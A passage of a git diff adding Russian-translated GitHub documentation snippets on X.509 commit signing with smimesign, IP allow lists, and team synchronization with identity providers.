PATH-TO-REPOSITORY + $ git config --local gpg.program smimesign + ``` + Если вы используете ключ X.509, соответствующий вашему удостоверению вносителя фиксаций, можно начать подписывание фиксаций и тегов. +4. Если вы не используете ключ X.509, соответствующий вашему удостоверению вносителя фиксаций, выведите список ключей X.509, для которых у вас есть сертификат и закрытый ключ, с помощью команды `smimesign --list-keys`. + ```shell + $ smimesign --list-keys + ``` +5. В списке ключей X.509 скопируйте идентификатор сертификата ключа X.509, который вы хотите использовать. В этом примере идентификатором сертификата является `0ff455a2708394633e4bb2f88002e3cd80cbd76f`: + ```shell + $ smimesign --list-keys + ID: 0ff455a2708394633e4bb2f88002e3cd80cbd76f + S/N: a2dfa7e8c9c4d1616f1009c988bb70f + Algorithm: SHA256-RSA + Validity: 2017-11-22 00:00:00 +0000 UTC - 2020-11-22 12:00:00 +0000 UTC + Issuer: CN=DigiCert SHA2 Assured ID CA,OU=www.digicert.com,O=DigiCert Inc,C=US + Subject: CN=Octocat,O=GitHub\, Inc.,L=San Francisco,ST=California,C=US + Emails: octocat@github.com + ``` +6. Чтобы задать ключ подписывания X.509 в Git, вставьте приведенный ниже текст, подставив скопированный ранее идентификатор сертификата. + - Чтобы использовать ключ X.509 для подписывания во всех репозиториях, воспользуйтесь следующим кодом: + ```shell + $ git config --global user.signingkey 0ff455a2708394633e4bb2f88002e3cd80cbd76f + ``` + - Чтобы использовать ключ X.509 для подписывания в одном репозитории, воспользуйтесь следующим кодом: + ```shell + $ cd PATH-TO-REPOSITORY + $ git config --local user.signingkey 0ff455a2708394633e4bb2f88002e3cd80cbd76f + ``` diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/about-adding-ip-allow-list-entries.md b/translations/ru-RU/data/reusables/identity-and-permissions/about-adding-ip-allow-list-entries.md new file mode 100644 index 000000000000..0ced50ee5524 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/about-adding-ip-allow-list-entries.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: db4c80c49c4e3effe99073f29010147f3a1efc08 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108932" +--- +Вы можете создать список разрешенных IP-адресов, добавив записи, содержащие IP-адрес или диапазон адресов.{% ifversion ip-allow-list-address-check %} После завершения добавления записей можно проверить, разрешен ли определенный IP-адрес любой из включенных записей в списке.{% endif %} + +Прежде чем список будет ограничивать доступ к {% ifversion ghae %}вашему предприятию{% else %}частным ресурсам, принадлежащим организациям вашего предприятия{% endif %}, необходимо также включить разрешенные IP-адреса. diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/about-checking-ip-address.md b/translations/ru-RU/data/reusables/identity-and-permissions/about-checking-ip-address.md new file mode 100644 index 000000000000..0e12f15d8869 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/about-checking-ip-address.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d7e7459f3ed9898a892c8b3504a32c1106e69442 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108931" +--- +Вы можете проверить, будет ли тот или иной IP-адрес разрешен какой-либо активной записью из списка разрешенных IP-адресов, даже если этот список сейчас не используется. diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/about-editing-ip-allow-list-entries.md b/translations/ru-RU/data/reusables/identity-and-permissions/about-editing-ip-allow-list-entries.md new file mode 100644 index 000000000000..1289062dd3fa --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/about-editing-ip-allow-list-entries.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 8f78a77c83ea498d8d41a0deff20903062542479 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108926" +--- +Вы можете изменить запись в списке разрешенных IP-адресов. При изменении включенной записи изменения применяются немедленно. + +{% ifversion ip-allow-list-address-check %} После завершения редактирования записей можно проверить, разрешен ли определенный IP-адрес любой из включенных записей в списке. +{% endif %} diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/about-enabling-allowed-ip-addresses.md b/translations/ru-RU/data/reusables/identity-and-permissions/about-enabling-allowed-ip-addresses.md new file mode 100644 index 000000000000..e1bc7e278d32 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/about-enabling-allowed-ip-addresses.md @@ -0,0 +1,5 @@ +After you create an IP allow list, you can enable allowed IP addresses. When you enable allowed IP addresses, {% data variables.product.company_short %} immediately enforces any enabled entries in your IP allow list. + +{% ifversion ip-allow-list-address-check %} +Before you enable allowed IP addresses, you can check whether a particular IP address would be allowed by any of the enabled entries in your list. For more information, see "[Checking if an IP address is permitted](#checking-if-an-ip-address-is-permitted)." +{% endif %} diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/about-team-sync.md b/translations/ru-RU/data/reusables/identity-and-permissions/about-team-sync.md new file mode 100644 index 000000000000..509238a49b53 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/about-team-sync.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a6fe9aa1af35228d0ac32bc0da90298220241049 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147076930" +--- +Если для вашей организации или корпоративной учетной записи включена синхронизация команд, вы можете синхронизировать команду {% data variables.product.prodname_dotcom %} с группой поставщика удостоверений. При синхронизации команды {% data variables.product.prodname_dotcom %} с группой поставщика удостоверений изменения членства в группе поставщика удостоверений автоматически отражаются в {% data variables.product.product_name %}, что позволяет не беспокоиться о переносе обновлений вручную или через пользовательские скрипты. {% ifversion ghec %}Дополнительные сведения см. в статьях [Управление синхронизацией команд в организации](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization) и [Управление синхронизацией команд для организаций в корпорации](/admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise).{% endif %} diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/check-ip-address-step.md b/translations/ru-RU/data/reusables/identity-and-permissions/check-ip-address-step.md new file mode 100644 index 000000000000..221b72245639 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/check-ip-address-step.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5eaf0aa831a27f61216ae9574df61fe7445f2f94 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109616" +--- +1. В разделе "Проверка IP-адреса" введите IP-адрес. + ![Снимок экрана: текстовое поле "Проверка IP-адреса"](/assets/images/help/security/check-ip-address.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/check-ip-address.md b/translations/ru-RU/data/reusables/identity-and-permissions/check-ip-address.md new file mode 100644 index 000000000000..aee9d5be2b02 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/check-ip-address.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 7b848e4c3bb4a9a4578e3f1ff92f6249dd20c699 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109615" +--- +{%- ifversion ip-allow-list-address-check %} +1. При необходимости проверьте, разрешен ли определенный IP-адрес любой из включенных записей в списке. Дополнительные сведения см. в разделе [Проверка разрешения IP-адреса](#checking-if-an-ip-address-is-permitted). +{%- endif %} diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/enable-team-sync-azure.md b/translations/ru-RU/data/reusables/identity-and-permissions/enable-team-sync-azure.md new file mode 100644 index 000000000000..ecfdf7189b00 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/enable-team-sync-azure.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4a87738ae0fb4750730fc5aaa9c969349a7919ed +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878906" +--- +1. В разделе "Синхронизация команд" щелкните **Включить для Azure AD**. + ![Кнопка "Включить синхронизацию команд" на странице параметров безопасности](/assets/images/help/teams/enable-team-synchronization.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/enable-team-sync-okta.md b/translations/ru-RU/data/reusables/identity-and-permissions/enable-team-sync-okta.md new file mode 100644 index 000000000000..06e3cfc4b33d --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/enable-team-sync-okta.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 77ef628aed4b2c8ee92eba059ec650170303f0cb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110096" +--- +1. В разделе "Синхронизация команд" щелкните **Включить для Okta**. + ![Кнопка "Включить синхронизацию команд для Okta" на странице параметров безопасности](/assets/images/help/teams/enable-team-synchronization-okta.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-description.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-description.md new file mode 100644 index 000000000000..2ae442d311ac --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3833a1af7dac9fcb5daafca7d7b6156fe8f93989 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110091" +--- +1. Можно также ввести описание разрешенного IP-адреса или диапазона. + ![Ключевое поле для добавления имени для IP-адреса](/assets/images/help/security/ip-address-name-field.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-entry.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-entry.md new file mode 100644 index 000000000000..e66deeebdcad --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-entry.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b5cba801b25279feb1e2729caad3330f64ce2c6b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110083" +--- +1. Щелкните {% octicon "plus" aria-label="The plus icon" %} **Добавить**. + ![Кнопка "Добавить разрешенный IP-адрес"](/assets/images/help/security/new-allowlist-entry-button.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-ip.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-ip.md new file mode 100644 index 000000000000..33818ec0e6ff --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-add-ip.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a487f538d96594c885c0aa33741d4aae931ee580 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110072" +--- +1. В нижней части раздела "Список разрешенных IP-адресов" введите IP-адрес или диапазон адресов в нотации CIDR. + ![Ключевое поле для добавления IP-адреса](/assets/images/help/security/ip-address-field.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-address-inheritance.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-address-inheritance.md new file mode 100644 index 000000000000..f5b1eb904c6b --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-address-inheritance.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: ce7aa40d4312947c099afb8c1a8b88bacd021847 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110059" +--- +Если выбрать параметр **Включить конфигурацию списка разрешенных IP-адресов для установленных приложений GitHub** в параметрах списка разрешенных IP-адресов, в этот список будут добавлены адреса из установленных {% data variables.product.prodname_github_apps %}. Это произойдет независимо от того, включен ли в этот момент список разрешений. Если вы установите {% data variables.product.prodname_github_app %} и после этого создатель приложения изменит его список разрешенных адресов, ваш список автоматически обновится соответствующим образом. + +IP-адреса, которые были автоматически добавлены из {% data variables.product.prodname_github_apps %}, можно определить, просмотрев их поле описания. Для таких IP-адресов в поле описания содержится следующая информация: "Управляется приложением GitHub ИМЯ". В отличие от добавляемых вручную адресов, изменять, удалять или отключать IP-адреса, которые добавляются автоматически из {% data variables.product.prodname_github_apps %}, нельзя. diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-cidr-notation.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-cidr-notation.md new file mode 100644 index 000000000000..48416f66316c --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-cidr-notation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cc5bfa136e87a3588223a11bed62d0d1c0b9bbe3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110043" +--- +Можно утвердить доступ для одного IP-адреса или диапазона адресов с использованием нотации CIDR. Дополнительные сведения см. в [статье Википедии](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation), посвященной нотации CIDR. diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-confirm-deletion.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-confirm-deletion.md new file mode 100644 index 000000000000..fa2b84842c2e --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-confirm-deletion.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 17e7e7149c0ecca46bd426bd67eb7b21a79cac9e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110040" +--- +1. Чтобы окончательно удалить запись, щелкните **Да, удалить эту запись списка разрешенных IP-адресов**. + ![Кнопка для окончательного удаления записи из списка разрешенных IP-адресов](/assets/images/help/security/perm-delete-allowlist-entry-button.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-delete-entry.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-delete-entry.md new file mode 100644 index 000000000000..4ae7bf5aaf37 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-delete-entry.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7f92cd709921433af6b1612bc1c8f7637771b3bd +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110035" +--- +1. В разделе "Список разрешенных IP-адресов" нажмите кнопку **Удалить**, расположенную справа от записи, которую требуется удалить. + ![Кнопка "Удалить разрешенный IP-адрес"](/assets/images/help/security/ip-address-delete-button.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-description.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-description.md new file mode 100644 index 000000000000..397f48756e33 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8a845690255d1ff0fc2814cb44108a7054ad91c5 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883572" +--- +1. Введите описание разрешенного IP-адреса или диапазона. + ![Ключевое поле для добавления имени для IP-адреса](/assets/images/help/security/ip-address-edit-name-field.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-entry.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-entry.md new file mode 100644 index 000000000000..722fd34ef597 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-entry.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 41f6f22ea72957adee5fc54751c1dace8c2c4864 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878757" +--- +1. В разделе "Список разрешенных IP-адресов" нажмите кнопку **Изменить**, расположенную справа от записи, которую требуется изменить. + ![Кнопка "Изменить разрешенный IP-адрес"](/assets/images/help/security/ip-address-edit-button.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-ip.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-ip.md new file mode 100644 index 000000000000..e72deb913b20 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-edit-ip.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5c0993687db809bcaeacc53a2c519ac66d126524 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110016" +--- +1. Введите IP-адрес или диапазон адресов в нотации CIDR. + ![Ключевое поле для добавления IP-адреса](/assets/images/help/security/ip-address-edit-field.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-enable.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-enable.md new file mode 100644 index 000000000000..9b382356fa33 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-enable.md @@ -0,0 +1,3 @@ +To enforce the IP allow list, you must first add IP addresses to the list, then enable the IP allow list.{% ifversion ip-allow-list-address-check %} After you complete your list, you can check whether a particular IP address would be allowed by any of the enabled entries in the list.{% endif %} + +You must add your current IP address, or a matching range, before you enable the IP allow list. diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-enterprise.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-enterprise.md new file mode 100644 index 000000000000..69cad207e67b --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-enterprise.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 5c02cf240a1d23e9549a534381d9914bd8dc0ebd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110008" +--- +При включении списка разрешений настроенные IP-адреса сразу добавляются в списки разрешений организаций в пределах вашего предприятия. Если отключить список разрешений, адреса будут удалены из списков разрешений организации. + +Вы можете автоматически добавить в список разрешений любые IP-адреса, настроенные для {% data variables.product.prodname_github_apps %}, установленных на предприятии. Создатель {% data variables.product.prodname_github_app %} настроил список разрешений для приложения, указывающий IP-адреса, с использованием которых выполняется приложение. Наследуя их список разрешений в вашей среде, вы избегаете отправки запросов на подключение от отклоняемого приложения. Дополнительные сведения см. в разделе [Разрешение доступа к приложениям GitHub](#allowing-access-by-github-apps). diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-example-and-restrictions.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-example-and-restrictions.md new file mode 100644 index 000000000000..4ccee22936cc --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-example-and-restrictions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 82c112384d3704081963af200feee489d5183016 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878325" +--- +Например, вы можете разрешить доступ только с IP-адреса вашей офисной сети. При использовании списка разрешенных IP-адресов блокируется доступ к частным ресурсам через Интернет, API и Git с любых IP-адресов, которые не входят в этот список. diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-githubapps-enterprise.md b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-githubapps-enterprise.md new file mode 100644 index 000000000000..a8bd9db5c13f --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ip-allow-lists-githubapps-enterprise.md @@ -0,0 +1,16 @@ +If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that are installed in your enterprise. + +{% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %} + +{% data reusables.apps.ip-allow-list-only-apps %} + +For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)." + +To enable automatic addition of IP addresses for {% data variables.product.prodname_github_apps %}: + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**. + ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png) +1. Click **Save**. diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/ipv6-allow-lists.md b/translations/ru-RU/data/reusables/identity-and-permissions/ipv6-allow-lists.md new file mode 100644 index 000000000000..287d9f18aaf5 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/ipv6-allow-lists.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 1df7a9480c4cfd3a5edfc1ee16cd2a3259921e6b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109528" +--- +{% ifversion fpt or ghec %} {% note %} + +**Примечание.** {% data variables.product.company_short %} постепенно развертывает поддержку IPv6. Так как службы {% data variables.product.prodname_dotcom %} продолжают добавлять поддержку IPv6, мы начнем распознавать IPv6-адреса пользователей {% data variables.product.prodname_dotcom %}. Чтобы предотвратить сбои доступа, добавьте в список разрешенных IP-адресов все необходимые IPv6-адреса. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/revoking-identity-team-sync.md b/translations/ru-RU/data/reusables/identity-and-permissions/revoking-identity-team-sync.md new file mode 100644 index 000000000000..bb6e011cf60e --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/revoking-identity-team-sync.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: c12d383636fa249133a034828c97d4e8644fde1a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109963" +--- +{% warning %} + +**Предупреждение.** Если ваша организация использует синхронизацию команды, отзыв удостоверения для единого входа пользователя удалит этого пользователя из всех команд, сопоставленных с группами IdP. Дополнительные сведения см. в разделе [Синхронизация команды с поставщиком удостоверений](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/supported-idps-team-sync.md b/translations/ru-RU/data/reusables/identity-and-permissions/supported-idps-team-sync.md new file mode 100644 index 000000000000..fcb3cc6c5116 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/supported-idps-team-sync.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 7b2579be640103990eb415e6929852aed2680e3f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878901" +--- +Можно использовать синхронизацию команды с поддерживаемыми IdP. + - Azure AD + - Okta diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/sync-team-with-idp-group.md b/translations/ru-RU/data/reusables/identity-and-permissions/sync-team-with-idp-group.md new file mode 100644 index 000000000000..be5fce6c57f1 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/sync-team-with-idp-group.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fde71235e7ad25bd0ffba6b0aa345a3d57ad0889 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109952" +--- +После включения синхронизации команд администраторы команд и владельцы организации смогут подключить команду к группе поставщика удостоверений на {% data variables.product.prodname_dotcom %} или через API. Дополнительные сведения см. в разделах [Синхронизация команды с группой поставщика удостоверений](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group) и [Синхронизация команд](/rest/reference/teams#team-sync). diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-azure-permissions.md b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-azure-permissions.md new file mode 100644 index 000000000000..133841bfa6ab --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-azure-permissions.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: c1b4b58aff5c6ebd4a2dcf05670fda2b8d45d1e6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109947" +--- +Чтобы включить синхронизацию команд для Azure AD, для вашей установки Azure AD требуются следующие разрешения. +- Чтение полных профилей всех пользователей +- Вход и чтение профилей пользователей +- Чтение данных каталога diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm-saml.md b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm-saml.md new file mode 100644 index 000000000000..9e5d978acaf5 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm-saml.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 691761504843cce3e7574538b2fc3ba46638f0da +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109944" +--- +3. Убедитесь, что для вашей организации включен единый вход SAML. Дополнительные сведения см. в разделе [Управление единым входом SAML для организации](/organizations/managing-saml-single-sign-on-for-your-organization/). diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm-scim.md b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm-scim.md new file mode 100644 index 000000000000..0553703ceb9a --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm-scim.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 52c13da11dda93061e5d3e8c4405ba4cc55ab7df +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147093033" +--- +1. Мы рекомендуем убедиться, что пользователи включили SAML и имеют связанное удостоверение SCIM, что позволит избежать потенциальных ошибок при подготовке. Дополнительные сведения см. в разделе [Устранение неполадок с управлением удостоверениями и доступом для вашей организации](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization). diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm.md b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm.md new file mode 100644 index 000000000000..1fe38fa61c82 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-confirm.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: fb72e50f286435094c56c642081e6d99833fbac5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109931" +--- +5. Подтверждение синхронизации команд. + - Если у вас есть доступ к поставщику удостоверений, щелкните **Включить синхронизацию команд**. Вы будете перенаправлены на страницу единого входа SAML поставщика удостоверений, где вам предложат выбрать свою учетную запись и проверить запрашиваемые разрешения. + - Если у вас нет доступа к поставщику удостоверений, скопируйте ссылку для перенаправления на страницу поставщика удостоверений и передайте ее администратору поставщика удостоверений, чтобы продолжить синхронизацию команд. + ![Кнопка перенаправления для включения синхронизации команд](/assets/images/help/teams/confirm-team-synchronization-redirect.png) diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-disable.md b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-disable.md new file mode 100644 index 000000000000..46e1bbe4e0c5 --- /dev/null +++ 